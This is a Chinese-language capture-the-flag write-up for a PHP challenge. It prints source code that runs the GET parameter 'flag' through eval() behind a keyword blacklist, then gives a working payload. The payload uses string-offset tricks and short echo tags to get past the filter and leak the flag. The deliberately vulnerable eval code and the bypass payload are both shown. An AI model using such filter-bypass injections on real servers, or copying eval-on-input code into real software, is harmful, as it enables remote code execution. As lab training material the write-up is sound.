进入题目后,直接给出源码:
<?phperror_reporting(0);require __DIR__.'/flag.php';$exam = 'return\''.sha1(time()).'\';';if (!isset($_GET['flag'])) {echo '<a href="./?flag='.$exam.'">Click here</a>';}else if (strlen($_GET['flag']) != strlen($exam)) {echo '长度不允许';}else if (preg_match('/`|"|\.|\\\\|\(|\)|\[|\]|_|flag|echo|print|require|include|die|exit/is', $_GET['flag'])) {echo '关键字不允许';}else if (eval($_GET['flag']) === sha1($flag)) {echo $flag;}else {echo '马老师发生甚么事了';}echo '<hr>';highlight_file(__FILE__);
绕过几个判断,即可得到flag
首先第一部分:
else if (strlen($_GET['flag']) != strlen($exam)) {echo '长度不允许';}
flag变量的长度要等于exam变量的长度,这个已经知道是49个字符了,可以轻松绕过。
第二部分:
else if (preg_match('/`|"|\.|\\\\|\(|\)|\[|\]|_|flag|echo|print|require|include|die|exit/is', $_GET['flag'])) {echo '关键字不允许';}
preg_match过滤字符
第三部分:
else if (eval($_GET['flag']) === sha1($flag)) {echo $flag;}
eval后的结果需要等于sha1($flag),相等后会得到flag
如果没有上面的preg_match,那么只需要将传入flag=sha1($flag)即可,但是flag和括号都被过滤掉了
那么就想办法直接把flag打印出来,
首先flag的过滤可以通过字符串数组的形式绕过:
$a="fla";$a{3}="g"echo $a; //flag
因为echo也被过滤了,需要使用php短标记:<?=?>代替echo。
payload:
?flag=$a='fla';$a{3}='g'?>111111111111111111111<?=$$a?>
得到flag。
